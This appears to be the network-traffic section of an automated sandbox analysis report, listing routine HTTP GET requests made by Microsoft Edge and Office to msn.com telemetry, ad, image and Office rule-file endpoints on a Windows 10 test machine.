Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731511548692&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=be3c4083b4ed4fbea41c70caa22e4593&activityId=be3c4083b4ed4fbea41c70caa22e4593&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2B7552435FBF62BD3EE147755E31634B; _EDGE_S=F=1&SID=3321F4432267682D31E1E175235D69DF; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2B7552435FBF62BD3EE147755E31634B&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=3f9617ba085249c9c73a3850e7f67b4f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2B7552435FBF62BD3EE147755E31634B; _EDGE_S=F=1&SID=3321F4432267682D31E1E175235D69DF; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731511548693&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B7552435FBF62BD3EE147755E31634B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=18Ccefbd5f4bbe988ef659d1731505293; XID=18Ccefbd5f4bbe988ef659d1731505293
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2B7552435FBF62BD3EE147755E31634B&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6c1bbaf17cbe4454fd9ebd2f12996c09 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2B7552435FBF62BD3EE147755E31634B; _EDGE_S=F=1&SID=3321F4432267682D31E1E175235D69DF; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MZ4M.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731511548692&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=be3c4083b4ed4fbea41c70caa22e4593&activityId=be3c4083b4ed4fbea41c70caa22e4593&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1DE24314577C4C24ACA0B89F4370084C&MUID=2B7552435FBF62BD3EE147755E31634B HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2B7552435FBF62BD3EE147755E31634B; _EDGE_S=F=1&SID=3321F4432267682D31E1E175235D69DF; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
